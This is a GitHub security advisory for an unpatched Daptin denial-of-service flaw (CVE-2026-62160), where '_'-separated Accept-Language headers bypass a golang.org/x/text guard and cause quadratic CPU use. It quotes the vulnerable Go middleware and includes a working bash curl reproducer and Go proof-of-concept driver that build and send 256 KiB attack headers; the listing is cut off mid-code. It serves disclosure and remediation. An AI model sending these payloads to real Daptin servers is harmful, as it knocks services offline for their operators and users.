GitHub Advisoryadvisory · Go

GHSA-rhj7-vh3v-mcq6 Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware

HIGH Published 2026-10-29 Modified 2026-10-29 Official page ↗
Aliases
CVE-2026-62160
Ecosystem
Go
Packages
github.com/daptin/daptin
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-400
Reviewed
2026-10-29

Affected packages

• Go github.com/daptin/daptin: <= 0.12.15 (no fix yet)

Description

Summary Daptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds. Affected versions `github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on: • the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below) • `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged) Privilege required Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope. Vulnerable code `server/language.go` (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`): ```go func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) { pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage) c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref)) } func GetLanguagePreference(header string, defaultLanguage string) []string { preferredLanguage := header if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" { preferredLanguage = defaultLanguage } languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage) resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) pref := make([]string, 0) prefMap := make(map[string]bool) if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage { // single tag matches default — skip } else { for _, tag := range languageTags { base, conf := tag.Base() if conf == 0 { continue } if prefMap[base.String()] == true { continue } prefMap[base.String()] = true pref = append(pref, base.String()) } } return pref } ``` `c.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time (`golang.org/x/text/internal/language/parse.go`). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. How `Accept-Language` reaches `ParseAcceptLanguage` Every HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is: 1. The request enters `LanguageMiddlewareFunc`. 2. `c.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `GetLanguagePreference(header, defaultLanguage)` is called. 4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`. No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`. Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile: ```bash Build daptin image (uses prebuilt linux/amd64 release binary) cd daptin curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64 chmod +x daptin-linux-amd64 docker build --platform linux/amd64 -t daptin-poc:v0.12.15 . Start it docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15 sleep 8 # wait for sqlite migrations + Olric ring Attack with a 256 KiB header (smaller than the default 1 MiB ceiling because daptin's per-request cost saturates well below 1 MiB) PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18888/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). End-to-end reproduction (against `daptin-linux-amd64` v0.12.15) A Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18888/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 120 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024)) send("attack ('_' x 256KiB)", buildPayload("_", 256*1024)) send("attack repeat 2", buildPayload("_", 256*1024)) send("attack repeat 3", buildPayload("_", 256*102…

Related

Alias · CVE (1)

  • CVE-2026-62160 Daptin is a GraphQL/JSON-API headless CMS. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References